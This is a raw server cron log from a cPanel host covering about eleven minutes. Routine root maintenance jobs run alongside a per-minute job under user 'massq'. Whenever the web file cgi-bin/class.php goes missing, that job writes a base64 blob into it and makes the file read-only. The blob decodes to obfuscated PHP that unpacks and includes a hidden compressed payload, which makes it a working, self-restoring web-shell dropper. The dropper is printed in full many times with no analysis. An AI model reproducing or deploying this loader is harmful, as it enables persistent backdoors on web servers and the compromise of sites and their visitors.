Sep  2 15:56:01 server CROND[31243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:56:01 server CROND[31244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:56:01 server CROND[31245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:57:02 server CROND[31711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:57:02 server CROND[31713]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 15:57:02 server CROND[31714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:57:02 server CROND[31712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:58:01 server CROND[32074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:58:01 server CROND[32075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:58:01 server CROND[32076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:59:01 server CROND[32439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:59:01 server CROND[32441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:59:01 server CROND[32440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:00:01 server CROND[375]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 16:00:01 server CROND[376]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 16:00:01 server CROND[378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:00:01 server CROND[382]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:00:01 server CROND[384]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 16:00:01 server CROND[390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:00:01 server CROND[392]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 16:00:01 server CROND[389]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 16:00:01 server CROND[388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:00:01 server CROND[393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:01:01 server CROND[1369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:01:01 server CROND[1370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:01:01 server CROND[1372]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 16:01:01 server CROND[1380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:01:01 server run-parts(/etc/cron.hourly)[1372]: starting 0anacron
Sep  2 16:01:01 server run-parts(/etc/cron.hourly)[1393]: finished 0anacron
Sep  2 16:02:01 server CROND[1861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:02:01 server CROND[1863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:02:01 server CROND[1864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:03:01 server CROND[2326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:03:01 server CROND[2327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:03:01 server CROND[2329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:04:01 server CROND[2743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:04:01 server CROND[2742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:04:01 server CROND[2744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:05:01 server CROND[3123]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 16:05:01 server CROND[3124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:05:01 server CROND[3127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:05:01 server CROND[3140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:05:01 server CROND[3137]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 16:05:01 server CROND[3138]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 16:05:01 server CROND[3139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:05:01 server CROND[3136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:06:01 server CROND[4042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:06:01 server CROND[4043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:06:01 server CROND[4044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:07:01 server CROND[4512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:07:01 server CROND[4513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:07:01 server CROND[4514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
